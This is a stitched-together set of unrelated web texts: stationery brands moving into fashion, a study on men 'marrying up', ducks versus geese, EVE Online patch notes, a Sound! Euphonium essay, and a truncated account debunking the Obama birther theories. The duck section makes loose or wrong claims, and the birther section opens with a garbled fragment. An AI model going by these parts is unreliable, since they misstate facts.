work with fashion designers and artists who give us that flair of the season.” “We are a lifestyle brand, or as we prefer to call it, ‘mindstyle.’ Our approach is to equip our customers with a set of tools. We are simply creating things that we think are interesting for our customers,” said Maria Sebregondi, co-founder of Moleskine. “After writing instruments, we went into leather goods, naturally, as a form of protection for the writing instruments,” said Jérôme Lambert, chief executive of Montblanc. According to Lambert, the move was an effort to expand the company’s product offering, rather than a direct attempt to target the fashion consumer. Indeed, even without extensions into fashion, stationery sales at these companies are healthy. In 2014, Moleskine's paper collections (which include notebooks, diaries, journals and digital notebooks) made up the majority of the company's sales. At Montblanc, writing instruments accounted for 45 percent of the company’s 2013 turnover of $830 million. Today, three main categories — writing instruments, leather goods and watches — represent 90 percent of its overall business, explained Lambert. For Montblanc and Moleskine, extensions into leather goods are a means of driving brand awareness. “It was part of the willingness of the company to be present at a global geographical level,” said Lambert, speaking of Montblanc’s acquisition by Dunhill in 1977, which triggered its expansion beyond fine pens into luxury goods such as jewellery, bags, sunglasses, fragrance and watches. “Introducing new product categories at that time created an opportunity for Montblanc to increase its worldwide presence and platform.” According to Lambert, customers would purchase leather goods from a stationery specialist like Montblanc “because it’s made in Italy, because of the quality of the leather, because of the quality of the construction. At Montblanc, we bring consistency across all our products. If you think about it, we first developed leather in 1926. We opened our first store in 1990. The relationships with our clients have been established throughout time.” “We want to satisfy our core customers but we also want to reach new people,” said Sebregondi of Moleskine’s fashion product lines. “We’ve been trying to expand our product offering and distribution in department stores worldwide, such as Selfridges and Harrods, so that our presence is wider. But, wherever we are, the type of Moleskine customer remains the same: the kind of creative professional who is always looking for something that is inspiring.” “All our new products complement the Moleskine notebook but they are also great designs in itself. The bags itself look good, especially our myCloud bag line, but the fabric is also more functional and has longer wear,” she added. On the other hand, Smythson’s leather products — which have been part of the company’s offering for many years — outweigh its stationery business. “I think the perception that Smythson is mainly a stationer comes from the success of our diary and notebook business. You would be surprised to hear that almost 80 percent of our business today comes from leather goods,” said Rougeaux. “The very nature of fashion collaborations means that they’re treated like limited edition pieces, so we often sell out very quickly. Every time it has been a success.” In 2013, Smythson’s cemented its links to fashion when it joined the official London Fashion Week schedule, alongside British fashion brands such as Preen, Mulberry and Margaret Howell. “It’s an opportunity we took because we thought it was important to showcase the brand, not only to our clients, but to present it in a more relevant way to the fashion industry,” said Rougeaux. “[Smythson] really deserves to be part of the British fashion week, because of who we are and because of the luxury of our products.” Could full fashion lines be on the cards? Not at Smythson, according to Rougeaux. “Innovation has always been very important for the brand and there are new categories we could expand into, but there are no plans for Smythson to expand into ready-to-wear,” he said. “It’s a matter of staying true to who we are and I think our clients appreciate that we’ve hardly changed over the years.” Lambert agreed: “We don’t want to feel forced to extend further into fashion collections. At the moment we are more focused than ever on our three main categories.” Moleskine’s Sebregondi, however, didn’t rule out the possibility: “There’s a lot to do and there are many opportunities. A Moleskine jacket one day — why not?” |
Shifting views on marriage, paired with increased access to education and employment for many women, has helped society shake loose from some antiquated ideas on how “traditional” families should be structured. (Hot tip: there’s no “right” way to be a family.) But rather than men staying put while women rise, they might be gaining even more ground thanks to a seesaw-like effect: a new study published in the journal Demography found that more men are “marrying up” than women, which could mean “men are getting the benefit from women’s progress,” according to one of the lead researchers. “Marrying-up” usually refers to marrying above your economic class, often improving one’s social mobility in the process. And while of course men have also married up, it’s been historically more common for women to do so. (If the idea of women being historically more likely to marry up gives you personal or political pause, remember that until fairly recently, many women didn’t have access to the sort of opportunities, like employment and education, that would situate them on the “up” end of the marry up spectrum.) More men are marrying up today in part because there are more highly educated women now than there were a few decades ago, according to the study findings. As a result, “women are more likely to get married to a less-educated man,” ChangHwan Kim, PhD, the study’s lead author and an associate professor of sociology at the University of Kansas, said in the press release. To come to this conclusion, Kim and his study co-author Arthur Sakamoto, PhD, a professor of sociology at Texas A&M University, looked at gender-specific changes in income and marriage from hundreds of thousands of 35 to 44-year-olds using data from the U.S. Census from 1990 to 2000 and the American Community Survey from 2009 to 2011. To measure “gender-specific changes,” the researchers looked at how much return people got on their education in terms of their family’s income. Kim told me via email that this is a “popular measure to assess standard-of-living that factors in family income and family size.” “Previously, women received more total financial return to education than men, because their return in the marriage market was high,” Kim said in the press release. But because of gains in education and employment opportunities, that advantage has “deteriorated over time,” he added. During the time period the researchers studied, they found that while women saw greater growth in their personal earnings compared to men, their “net advantage of being female in terms of family-standard-of-living decreased approximately 13 percent.” I asked Kim what a “net advantage of being female” meant over email and he clarified that “if a high-school educated woman marries a man with a BA degree, her equalized income (which gages the standard-of-living) can be higher than a high-school educated man who marries a woman with less than high school education.” Until the 1990s, “women’s standard-of-living after controlling for education was higher than men’s,” he told me via email, “but that is no longer the case in 2009-2011.” If you’re not sure how to interpret the findings, you’re not alone—they’re complicated. On the one hand, they paint a picture of an increasingly equitable education and employment landscape. Women bringing more to the family table, economically speaking, helps to shatter old school ideas about the “man of the house” being the “breadwinner” or “pants-wearer” of the family. But “in essence,” as Kim told me via email, mens’ “standard-of-living has improved substantially more than equally less-educated women thanks to their wives’ higher salary than before.” To further complicate things, women vying for a suitable male partner are doing so at a time when American men are already becoming less marriageable, as my colleague Drake Baer wrote about recently, in part because a wide-swath of male-dominated jobs like manufacturing are being automated. Taken together, these changes have led to “a faster improvement of the family standard of living for men than for equally educated women themselves,” according to the study’s press release. That improvement “could explain why it seems men don’t complain a lot about this,” Kim said in the press release. (I asked him what meant by “this” via email and he wrote that, basically, of course men aren’t complaining: depending on your perspective, they’re getting the better end of the deal.) “The main driver of this phenomenon is ironically ‘the rise of women,” Kim wrote, adding that “women are now more educated than men” and that “unless we abandon marriage as a social institution completely, it is inevitable for many women to marry down.” Kim added that “the marriage market is becoming increasingly important for men’s economic well being.” The upside is that can use this data to better understand how trends like “marrying up” will affect our culture. And in the meantime, we can remind those men who are reluctant to marry a woman who makes more than them that, as Kim told me, “it is economically good for men to be a feminist.” Read the full press release here. |
Ducks vs Goose Goose and ducks are considered to be waterfowl that enjoys spending time on lakes or ponds. They belong to the family of Anatidae. Apart from their usual fluffy and light hues feathers, they exude different behavior and patterns. Goose Goose are largely sized and usually noted to make a honking noise or call. Those non-domesticated type are migratory and usually fly to far places to look for suitable habitat especially during the changes in the season. It is also noted that since these geese travels everywhere, some people get annoyed by their droppings especially when it comes into consideration for the bacteria that it may have. They are also herbivores. Duck Ducks are physically smaller than goose and usually has that “quack” sound when they call. Most of the duck species don’t migrate and they just stay within a specific area. They usually have long and broad structure and long necked though not as long as their other aquatic bird counterparts. Ducks also come in many interesting colors, though a typical duck has white feathers. Difference between Ducks and Goose They have their differences when it comes to their eating patterns. Goose are known to be vegetarians, prefers a diet from shrubs and grasses, while ducks eat insects, fish and even amphibians. They also have a difference in the webbing in their toes, goose has more web as compared to the ducks. Also the nostrils of the ducks are very high up in their bills while the geese’s nostrils are very low down in their bills. Ducks are also more used domestically, apart from their usage for their feathers, they are also quite useful for their meat and eggs. They are usually bred in Asian countries. Known for their weird honking and quack calls, these fowls have endeared themselves to the people, enough for them to be domesticated. They do also provide numerous usages for economic purposes. But apart from that, these colorful birds not only provide practical usage but also entertainment for the eyes. |
Patch notes for Tiamat 1.7 Released on Thursday, March 12, 2015 FEATURES & CHANGES Miscellaneous: Server updates for DUST 514 and Hotfix Echo. Patch notes for Tiamat 1.6 Released on Tuesday, March 10, 2015 FIXES Miscellaneous: Internal tools have been updated and improved. Patch notes for Tiamat 1.5 Released on Tuesday, March 3, 2015 FIXES Audio: The audio crackling in large fleet fights has been fixed. Patch notes for Tiamat 1.4 Released on Thursday, February 26, 2015 FEATURES & CHANGES Miscellaneous: Preparations have been made to make the new Opportunity system available on Tranquility. More information is available here. Patch notes for Tiamat 1.3 Released on Wednesday, February 25, 2015 FEATURES & CHANGES Balancing: The material requirements for some civilian modules have been rebalanced. Market: Civilian modules have been allocated to the appropriate market groups. FIXES Gameplay: An issue with the required materials for the 'Not Gneiss At All' mining mission has been fixed. Patch notes for Tiamat 1.2 Released on Thursday, February 19, 2015 FIXES Audio: Fix for NPC sound not turning off when NPC is no longer present. Patch notes for Tiamat 1.1 Released on Wednesday, February 18, 2015 FIXES Gameplay: The signature radius of the Unidentified Structure has been increased. Technical: Fixed an issue where undocking was not possible after suppressing the "You are engaged in combat!" message and selecting No. User Interface: Fixed the name of some objects in starter system dungeons. The contract columns are displaying correctly now. Fixed an issue causing windows not to close after looting all Patch notes for Tiamat 1.0 Released on Tuesday, February 17, 2015 FEATURES & CHANGES Audio New sound atmosphere is added to Pirate Faction structures in sites and mission locations. Turret weapon firing sound effects become richer in Tiamat through the addition of aftershock sound for individual shots. An upgrade of the audio engine brings performance improvements to the EVE client as a whole in Tiamat. The audio and music team created a new theme track for the Tiamat release. Corporations and Alliances Player Corporations can now control if aggression between corp members is considered a legal or illegal act, by configuring a friendly fire setting. See this devblog for more details. Graphics Visual Updates to Structures in Missions and other Locations: Shaders and effects for structures and objects found in sites are updated in Tiamat, along with rendering performance improvements. Indirect Lighting - Ships are lit by light reflected from nearby planets. Indirect Lighting - Warp visual effect is reflected on ship hulls. Quality Settings for Lens Flares improve performance by providing a less resource intensive version of the effect on lower shader quality setting. Modules Some modules that received updates as part of the Module Tiericide initiative prior to Proteus have had their names updated to match the latest naming system: Compact Light Missile Launcher is now named Arbalest Compact Light Missile Launcher Scoped Survey Scanner is now named ML-3 Scoped Survey Scanner Compact Capacitor Flux Coil is now named Mark I Compact Capacitor Flux Coil Compact Reactor Control Unit is now named Mark I Compact Reactor Control Unit Scoped Cargo Scanner is now named PL-0 Scoped Cargo Scanner Upgraded Co-Processor is now named Photonic Upgraded Co-Processor Ample Light Missile Launcher is now named TE-2100 Ample Light Missile Launcher Compact Ship Scanner is now named Ta3 Compact Ship Scanner Restrained Capacitor Flux Coil is now named Type-D Restrained Capacitor Flux Coil Enduring Cargo Scanner is now named Type-E Enduring Cargo Scanner Compact Micro Auxiliary Power Core is now named Vigor Compact Micro Auxiliary Power Core Small Artillery weapons have had their damage increased by 10% and their tracking speed decreased by 3% All subcapital Autocannon weapons have received a 7.5% increase in falloff range Barrage ammo now provides a +40% falloff range bonus instead of the previous +50% Civilian weapons have received increases in damage and slight adjustments to other attributes. The Civilian Miner now cycles twice as fast. Yield per cycle and capacitor use have been halved to keep the balance of the module static. Missions & NPCs: New NPC faction, The Drifters, can be found roaming known space Mysterious structures uncloak throughout New Eden. A new Rogue Cloning Facility dungeon can now be found in every starter system. These dungeons are a place for where new players can go to learn about combat and mining. Wrecks despawn in approximately half an hour inside starter systems. Science & Industry Removed the ability to drag items into the Industry window and have the corresponding blueprint appear The Svipul blueprint can now be invented from the Small Hull Sections found in wormhole space Ships: Added the second of the new Tech 3 Tactical Destroyers, the Minmatar Svipul. All the details can be found in this dev blog. SVIPUL Minmatar Tactical Destroyer Bonuses Per Level 10% bonus to Small Projectile Turret damage 10% bonus to Small Projectile Turret optimal range 5% reduction in heat damage generated by modules Role Bonus 95% reduction in Scan Probe Launcher CPU requirements Additional bonuses are available when one of three Tactical Destroyer Modes are active. Modes may be changed no more than once every 10 seconds. Defense Mode 33.3% bonus to all shield and armor resistances while Defense Mode is active 66.6% reduction in Microwarpdrive signature radius penalty while Defense Mode is active Propulsion Mode 66.6% bonus to maximum velocity while Propulsion Mode is active 33.3% bonus to ship inertia modifier while Propulsion Mode is active Sharpshooter Mode 33.3% bonus to Small Projectile Turret tracking while Sharpshooter Mode is active 100% bonus to sensor strength, scan resolution and targeting range while Sharpshooter Mode is active Slot layout: 7 H, 4 M, 4 L, 6 turrets , 1 launcher 3 Rig Slots, 400 Calibration Fittings: 78 PWG, 215 CPU Defense (shields / armor / hull) : 800 / 700 / 550 Base shield resistances (EM/Therm/Kin/Exp): 50 / 40 / 40 / 50 Base armor resistances (EM/Therm/Kin/Exp): 80 / 51.25 / 25 / 10 Capacitor (amount / recharge rate / average cap per second): 600 / 225s / 2.667 Mobility (max velocity / agility / mass / warp speed / align time): 290 / 2.65 / 1,900,000 / 4.5 / 6.98s Drones (bandwidth / bay): 0 / 0 Targeting (max targeting range / Scan Resolution / Max Locked targets): 40km / 375 / 7 Sensor strength: 11 Ladar Signature radius: 50 Cargo capacity: 430 The Imparior, Ibis, Velator and Reaper have received slightly increased powergrid and CPU. Skills The new Minmatar Tactical Destroyer skill is now available to be purchased on the market. User Interface The limit on members on mailing lists has been upped from 3000 to 5000 A filter has been added to the member list in the corporation window The edit corporation window can now be resized You can now edit the corporation description as you like with fontsizes, colors, links and what not Unrenting offices has been made more obvious and easier in the corporation window It is now possible to send a custom message when a corporation application is rejected You can now invite a member to your corp from the corporation applications tab. A warning players engaged in a conflict get when undocking can now be suppressed. Additional Mining and Warp To overview tabs are now available part of the default overview. Wrecks have been added to the General overview preset and asteroid belts have been added to the Mining preset. Iterated on UI Modernization including the following: "E" button in Neocom now uses colorization from theme Selected ship uses thematic color Corp logo has been replaced in corp hangar divisions "i" button for Show Info uses the selected color theme New Skin for radio buttons New icons for all holds that were not previously replaced Removed theme colorization from Mastery and Certificate buttons Removed glow from faction selection in ISIS Right-click menu has been updated to better match new UI look System Cost Index in the starmap is displayed the same as the System Cost Index listed in the Industry window It is no longer possible to link PI product schematics in the chat window Added modest shadow to extraction area border for PI Extractor Control Units FIXES Gameplay Changed missile launchers to require the missile skill they use. Example: Cruise Missile Launcher I now requires the Cruise Missiles skill at level 1 A failed target lock could sometimes break safe log off, this has now been fixed. "League of My Own" no longer requires a decryptor type that does not exist. Energy Neutralizers and Nosferatus are no longer affected by the powergrid reduction bonus of the Guardian, Basilisk and Etana. The 280mm Howitzer Artillery II turret now requires Morphite to manufacture. Modulated Strip Miner II and Modulated Deep Core Strip Miner II should no longer require Tech I minerals to be manufactured Fixed the behavior of wallet settings so they work on a per-character basis and not a per-account basis Directional Scanner now works while in ISIS and any fullscreen view, PI, Map etc Attempting to use a jump drive with the wrong fuel type will no longer result in the player getting fatigue/jump timers Kill reports where the destroyed ship contained a stack of ships with a quantity of 2 or higher will now display the correct stack size (instead of always showing a quantity of 1) The Augmented and Integrated Wasp drone variants now use faction-appropriate damage types. Heat damage generated by overheated capital weapons was incorrect, leading to capital missiles damaging themselves too quickly. These values have been corrected. Graphics & Audio Adjusted the fade of running lights on animated ships. Realigned floating decals on Onyx. Fixed an erroneous logo on the Astero. Polished the booster areas of the Punisher. Aligned textures on Theology Council stations. Repositioned banners in Amarr hanger so they no longer disappear when viewed from acute angles. Corrected Orthrus fin warp animation. Removed grey band from Nestor hull textures. Modified loops for Blackbird antenna animation. Confirmed an AMD driver update to ensure correct display of high settings shadow effects on Radeon devices. Returned missing gate activation sound effects for third party observers. Re-leveled Amarr sound bleed in the Station Interior slider of the Advanced Audio Settings window. Localization Minor defect and terminology fixes for DE, FR and RU. Exploration Fixed an issue with overlapping objects in the Local Blood Raider Mainframe data site. Fixed an issue with some hidden objects inside the Regional Sansha Data Terminal data site. A typo in the Abandoned Research Project landmark message has been fixed. The H-PA Crew Blue Pill Production Facility has been updated from a gas site to a combat site to better reflect its contents. The Blood Lookout combat site will now spawn and despawn correctly. Missions A text issue in the mission Portal to War 1 of 5 has been fixed. A typo in the mission The Test Of Competence - Utrainen's Reports (1 of 2) has been fixed. A text issue in the mission Cliene Veine - Fixing the Problem (1 of 2) has been fixed. A typo in the mission: Evacuation has been fixed. A text issue in the mission: Balancing the Books 7 of 10 has been fixed. An issue with the completion requirements with the mission 'Not Gneiss At All' has been fixed. An acceleration gate is now named correctly in the Evolution agent mission. Typo in Industry career path description has been fixed. Typo in the Crimson Hand Supply Depot dungeon pop up has been fixed Some NPC have had their security standing boost lowered. In some cases NPC would get stuck on a object in Massive Attack, this has been fixed. Small Asteroid Cluster dungeon contained overlapping Dark ochre this has been fixed. Fixed a typo in agent text for mission 'After the Seven (4 of 5) "Ruse". The mission text for the Minmatar version of "Anomic Team" now includes information about the Mjolnir Rockets that the Burner uses. Miscellaneous Minor text issues with Quafe clothing items have been fixed. A typo in the Shields Market tool tip has been fixed. A text issue with the Caldari Monument in the Luminaire system has been fixed. Reopening instructions have been added to the final step of the Exploration > Gas Sites tutorial. Corrected a reference to tickers in alliance creation to short name for consistency. Advanced Small Ship Assembly Array now lists Tactical Destroyers being able to be built in it. Drone Link Augmentor Size is now correct Large Compound FW dungeons where being listed as Large Outpost sites this has been fixed. Fixed description on the Frequency Modulation skill to reference Remote Tracking Computers instead of the erroneous Tracking Links The description of the Process Decryptor should now properly match its effects. Agent name fixed from "Urat Mekar" to "Urat Mehrekar" Marauder descriptions have been fixed to be more accurate next to their role with the Bastion module. Fixing mission description “The Missing Reporters - Bad Timing (2 of 3)” making it refer to one reporter rather than many. The Rattlesnake Victory Edition can now be properly traded on the market. Technical: Improved client performance when having a large amount of windows open and moving them around User Interface: |
One of Sound! Euphonium‘s more remarkable traits is that, within its captivating world, not everyone is equally talented. Where other series use those left behind – by their lack of skill, practice, or motivation – for dramatic effect, rarely returning to them once they’ve served their purpose on the main character’s decisions, Sound! Euphonium celebrates them. Natsuki Nakagawa is the series’ most obvious example. Initially introduced as a listless senior with little interest in participating, Natsuki provided a key emotional hurdle for Kumiko Oumae to clear. Once motivated, Natsuki’s true personality is revealed, and it’s far more complex than what most would expect from a tertiary character. Having only played the euphonium for a year, Natsuki knows that, come audition time, she doesn’t stand a chance against the likes of Kumiko. Due to her prior experiences – and first impression of Natsuki – Kumiko is terrified of Natsuki until the latter reassures her that she had expected to not make the cut. This isn’t to say that Natsuki is particularly enthused about this, but more that she accepts it and moves on with her life. There are still times when her face falls when she recognizes the talent of those around her. However, because she grows to care so much about music and the band itself, Natsuki eschews simply watching the band move on without her, and actively participates behind the scenes. This includes anything from facilitating conflict resolution between bandmates to making initialed charms for the members that passed the audition. It’s easy to say that Natsuki’s development represents the band’s overall growth from a quarreling group replete with de-motivated members to the Nationals-bound product of Episode 13, but Natsuki also feels like an actual person. Her initial lack of motivation is as understandable as her willingness to support those who left her behind Two members of Sound! Euphonium‘s cast choose to leave the pressure of concert band behind to focus on their studies. The first, Kumiko’s sister Mamiko, pressures Kumiko to do the same, citing the fact that Kumiko isn’t going to study music in the future. Still, Mamiko Oumae shows signs of regretting her decision, or at the very least longing for the other side upon seeing how much Kumiko applies herself. When Kumiko tells her sister that she loves playing the euphonium, and that’s reason enough for her effort, Mamiko is clearly a bit rattled as she leaves the room with a patronizing, “Good for you.” It’s unclear how much Mamiko looks back on her own decision, and she does seem to have an honest inability to relate to her younger sister’s overwhelming passion. Sound! Euphonium leaves the interpretation of her character up to the viewer as Mamiko walks the line between jealousy and genuine misunderstanding. Walking a similar path is Kumiko’s childhood friend, Aoi Saitou. Aoi quits band when they begin to seriously aim for Nationals to focus on her studies. When Kumiko asks her if she regrets it, Aoi responds that she didn’t have a reason to continue. Regardless of any previous effort she had put in to learning tenor saxophone, Aoi realized that her own motivation was lacking and chose to apply her efforts towards studying for entrance exams. While the series revolves around Kumiko rediscovering her love for the euphonium, it also doesn’t denigrate Aoi’s decision to leave. Different people will enjoy, and want to apply themselves, to different things. Aoi’s willing departure from the concert band exemplifies this. Sound! Euphonium also explores different levels of talent within the post-audition roster, reiterating the constant battle between hard work and innate talent. While senior Kaori Nakaseko has both loved playing trumpet and worked incredibly hard to improve. In previous years, Kaori patiently waited her turn, losing solo parts to her upperclassmen because seniority took precedence over skill. This changes in her senior year when Noboru Taki takes over the concert band and Kaori has to compete for the part. She loses out to Reina Kousaka, a first-year. While the series frames Reina’s victory as the correct choice for the band as a whole, the viewer still feels for Kaori – an immensely talented girl in her own right who will now never have her chance in the spotlight during her high school career. As Reina plays her solo in their Regionals performance, focus shifts from Reina to Kaori, highlighting a trace of sadness in Kaori’s face. Still, she presents a resigned smile immediately afterwards, knowing that Reina was the best choice. There are countless others in Sound! Euphonium who work tirelessly, yet fail to make the cut for whatever reason. One of Kumiko’s closest friends, Hazuki Katou, is hit doubly hard. She doesn’t make it into the Regionals group because she just took up tuba recently, and she is also romantically rejected over the course of the series. Sound! Euphonium presents a world that isn’t fair – where success for some means that others will be left behind. In other words, a world that is heartbreakingly real and overwhelmingly relatable. Advertisements |
[1] reaffirming that he was born on August 4, 1961, in In response to the conspiracy theories, the White House released copies of the President's long-form birth certificate on April 27, 2011, and posted an image of it to the White House website,reaffirming that he was born on August 4, 1961, in Honolulu , Hawaii. During Barack Obama's campaign for president in 2008, throughout his presidency, and afterwards, a number of conspiracy theories falsely asserted Obama was ineligible to be President of the United States because he was not a natural-born citizen of the U.S. as required by Article Two of the Constitution. Theories alleged that Obama's published birth certificate was a forgery—that his actual birthplace was not Hawaii but Kenya. Other theories alleged that Obama became a citizen of Indonesia in childhood, thereby losing his U.S. citizenship. Still others claimed that Obama was not a natural-born U.S. citizen because he was born a dual citizen (British and American). A number of political commentators have characterized these various claims as a racist reaction to Obama's status as the first African-American president of the United States.[2] These claims were promoted by fringe theorists (pejoratively referred to as "birthers"), some of whom sought court rulings either to declare Obama ineligible to take office, or granting access to various documents which they claimed would evidence such ineligibility; none of these efforts were successful. Some political opponents, especially in the Republican Party, have expressed skepticism about Obama's citizenship or been unwilling to acknowledge it;[3] some have proposed legislation which would require presidential candidates to provide proof of eligibility.[3] Expressed belief in such theories has persisted despite Obama's pre-election release of his official Hawaiian birth certificate in 2008,[4] confirmation by the Hawaii Department of Health based on the original documents,[5] the April 2011 release of a certified copy of Obama's original Certificate of Live Birth (or long-form birth certificate), and contemporaneous birth announcements published in Hawaii newspapers.[6] Polls conducted in 2010 (before the April 2011 release) suggested that at least 25% of adult Americans said that they doubted Obama's U.S. birth,[7][8] and subsequently a May 2011 Gallup poll found that the percentage had fallen to 13% of American adults (23% of Republicans) who continued to express such doubts.[9] This plummeting percentage of doubters has been attributed to President Obama's release of the long form in April 2011.[10][11][12] Background Early life of Barack Obama People who express doubts about Obama's eligibility or reject details about his early life are often informally called "birthers", a term that parallels[13] the nickname "truthers" for adherents of 9/11 conspiracy theories.[14][15] These conspiracy theorists reject at least some of the following facts about his early life: Barack Obama was born on August 4, 1961, at Kapi'olani Maternity & Gynecological Hospital (now called Kapi'olani Medical Center for Women & Children) in Honolulu, Hawaii,[16][17][18][19] to Ann Dunham,[20] from Wichita, Kansas,[21] and her husband Barack Obama Sr., a Luo from Nyang'oma Kogelo, Nyanza Province (in what was then the Colony and Protectorate of Kenya), who was attending the University of Hawaii. Birth notices for Barack Obama were published in The Honolulu Advertiser on August 13 and the Honolulu Star-Bulletin on August 14, 1961.[16][21] Obama's father's immigration file also clearly states Barack Obama was born in Hawaii.[22] One of his high school teachers, who was acquainted with his mother at the time, remembered hearing about the day of his birth.[20] Obama's parents were divorced in 1964. He attended kindergarten in 1966–1967 at Noelani Elementary School in Honolulu.[16][23] In 1967, his mother married Indonesian student Lolo Soetoro,[16] who was also attending the University of Hawaii, and the family moved to Jakarta, Indonesia,[24] where Obama attended the Catholic St. Francis of Assisi School before transferring to State Elementary School Menteng 01, an elite Indonesian public school in Menteng. As a child in Indonesia, Obama was called "Barry", sometimes Barry Soetoro, reflecting his stepfather's surname, and sometimes Barry Obama, using his father's surname.[25][26][27] When he was ten years old, Obama returned to Honolulu to live with his maternal grandparents, Madelyn and Stanley Dunham, and has resided continuously in the United States since 1971. Origins of the claims Conspiracy theories about Obama's religion appeared at least as early as his 2004 U.S. Senate campaign in a press release by Illinois political candidate Andy Martin,[28] and, according to a Los Angeles Times editorial, as Internet rumors.[29] From the start of March 2008, rumors that Obama was born in Kenya before being flown to Hawaii were spread on conservative websites, with the suggestion that this would disqualify Obama from the presidency.[30] In April of that year, some supporters of Hillary Clinton circulated anonymous chain emails repeating the same rumor;[31] among them was an Iowa campaign volunteer, who was fired when the story emerged.[32][33] These and numerous other chain e-mails during the subsequent presidential election circulated false rumors about Obama's origin, religion, and birth certificate.[34][35] On June 9, 2008, Jim Geraghty of the conservative website National Review Online suggested that Obama release his birth certificate.[36][37] Geraghty wrote that releasing his birth certificate could debunk several false rumors circulating on the Internet, namely: that his middle name was originally Muhammad rather than Hussein; that his mother had originally named him "Barry" rather than "Barack"; and that Barack Obama Sr. was not his biological father, as well as the rumor that Barack Obama was not a natural-born citizen.[37][38][39] In August 2008, Philip J. Berg, a former member of the Democratic State Committee of Pennsylvania, brought an unsuccessful lawsuit against Obama, which alleged "that Obama was born in Mombasa, Kenya."[40][41] In October 2008, an NPR article referred to "Kenyan-born Sen. Barack Obama."[42] Also that month, anonymous e-mails circulated claiming that the Associated Press (AP) had reported Obama was "Kenyan-Born".[43] The claims were based on an AP story that had appeared five years earlier in a Kenyan publication, The Standard.[43][44] The rumor-checking website Snopes.com found that the headline and lead-in sentence describing Obama as born in Kenya and misspelling his first name had been added by the Kenyan newspaper, and did not appear in the story issued by the AP or in any other contemporary newspaper that picked up the AP story.[43][45] In 2012, the far-right website Breitbart published a copy of a promotional booklet that Obama's literary agency, Acton & Dystel, printed in 1991 (and later posted to their website, in a biography in place until April 2007) which misidentified Obama's birthplace and states that Obama was "born in Kenya and raised in Indonesia and Hawaii." When this was posted by Breitbart, the booklet's editor said that this incorrect information had been her mistake, not based on anything provided to her agency by Obama.[46] Release of the birth certificates Short form, 2008 [21] Scanned image of Barack Obama's birth certificate released by his presidential campaign in June 2008. On June 12, 2008, Obama's campaign responded to the rumors by posting an image of Obama's birth certificate on the "Fight The Smears" website.[47][48] The image is a scan of a laser-printed document obtained from and certified by the Hawaii Department of Health on June 6, 2007. It is a "Certification of Live Birth", sometimes referred to as a short form birth certificate, and contains less information than the longer "Certificate of Live Birth", which Hawaii no longer issues.[49][50] Asked about this, Hawaiian Department of Health spokeswoman Janice Okubo explained that Hawaii stopped issuing the longer "Certificate" in 2001 when their birth records were "put into electronic files for consistent reporting", and therefore Hawaii "does not have a short-form or long-form certificate".[51] A "record of live birth", partially handwritten and partially typed, was created and submitted in 1961 when Obama was born, and is "located in a bound volume in a file cabinet on the first floor of the state Department of Health". The document was used to create the state's electronic records, and has been examined by state officials multiple times since the controversy began.[50] In releasing the certificate, the Obama website declared that the rumors "aren't actually about that piece of paper – they're about manipulating people into thinking Barack is not an American citizen".[48] The campaign also provided the Daily Kos blog with a copy of the document.[52][53] Referring to this release, National Review columnist Jim Geraghty, wrote on June 12, 2008: ...this document is what he or someone authorized by him was given by the state out of its records. Barring some vast conspiracy within the Hawaii State Department of Health, there is no reason to think his [original] birth certificate would have any different data.[52] Frequent arguments of those questioning Obama's eligibility related to the fact that he did not originally release a copy of his "original" or "long form" birth certificate, but rather a "short form" version that did not include all of the information given on 1961 Hawaii-issued birth certificates. It was claimed that the use of the term "certification of live birth" on the first document means it is not equivalent to a "birth certificate". These arguments have been debunked numerous times by media investigations,[8] every judicial forum that has addressed the matter, and Hawaiian government officials—among whom a consensus has been reached that the document released by the Obama campaign is indeed his official birth certificate.[54] The director of the state Department of Human Health confirmed that the state "has Sen. Obama's original birth certificate on record in accordance with state policies and procedures".[5][55] The short form is "prima facie evidence of the fact of birth in any court proceeding".[21] Rejection by conspiracy theorists The release of the certificate in 2008 resulted in a fresh round of questions. It was asserted that the certificate had been digitally forged with Adobe Photoshop and lacked a stamped seal of the state, which led them to demand that Obama release his "original" 1961 birth certificate.[38] Jerome Corsi, author of the book The Obama Nation: Leftist Politics and the Cult of Personality, told Fox News that "the campaign has a false, fake birth certificate posted on their website... it's been shown to have watermarks from Photoshop. It's a fake document that's on the Web site right now, and the original birth certificate the campaign refuses to produce."[21] This view was rejected by FactCheck.org, which viewed the Obama campaign's hard copy of the Certification of Live Birth and reported that: FactCheck.org staffers have now seen, touched, examined and photographed the original birth certificate. We conclude that it meets all of the requirements from the State Department for proving U.S. citizenship. Claims that the document lacks a raised seal or a signature are false. We have posted high-resolution photographs of the document as "supporting documents" to this article. Our conclusion: Obama was born in the U.S.A. just as he has always said.[21] Hawaii Department of Health response The director of Hawaii's Department of Health, Chiyome Fukino, issued a statement confirming that the state held Obama's "original birth certificate on record in accordance with state policies and procedures".[5][55] Noting "there have been numerous requests for Sen. Barack Hussein Obama's official birth certificate", Fukino explained that the department was prohibited by state law from releasing it to "persons who do not have a tangible interest in the vital record." She stated: "No state official, including Gov. Linda Lingle, has ever instructed that this vital record be handled in a manner different from any other vital record in the possession of the State of Hawaii."[5][56][57] According to the website TVNewser, CNN's researchers stated in 2009 that the original birth certificate no longer existed, as Hawaii discarded all paper birth records in 2001, and the certification of live birth was the official copy.[58] Contradicting this report, Janice Okubo, public information officer for the Hawaii DOH, said "We don't destroy vital records."[59] The Health Department's director emphasized the assertion: I, Dr. Chiyome Fukino, director of the Hawaii State Department of Health, have seen the original vital records maintained on file by the Hawaii State Department of Health verifying Barack Hussein Obama was born in Hawaii and is a natural-born American citizen. I have nothing further to add to this statement or my original statement issued in October 2008, over eight months ago.[59][60] Joshua Wisch, a spokesman for the Hawaii Attorney General's office, stated in 2011 that the original "long form" birth certificate — described by Hawaiian officials as a "record of live birth" kept in the archives of the Hawaii Department of Health is "... a Department of Health record and it can't be released to anybody", including President Obama. Wisch added that state law does not authorize photocopying such records.[50] Long form, 2011 On April 22, 2011, Obama asked Loretta Fuddy, director of the Hawaii Department of Health, for certified copies of his original Certificate of Live Birth ("long-form birth certificate").[61] Accompanying the letter was a written request from Judith Corley, Obama's personal counsel, requesting a waiver of the department's policy of issuing only computer-generated certificates. Corley stated that granting the waiver would relieve the department of the burden of repeated inquiries into the President's birth records.[62] On April 25, 2011, Fuddy approved the request and witnessed the copying process as the health department's registrar issued the certified copies. The same day, Corley personally visited the department headquarters in Honolulu to pay the required fee on Obama's behalf, and received the two requested certified copies of the original birth certificate, an accompanying letter from Fuddy attesting to the authenticity of same, and a receipt for the processing fee. Fuddy said that she had granted the exception to its normal policy of issuing only computer-generated copies by virtue of Obama's status, in an effort to avoid ongoing requests for the birth certificate.[63][64] On April 27, 2011, 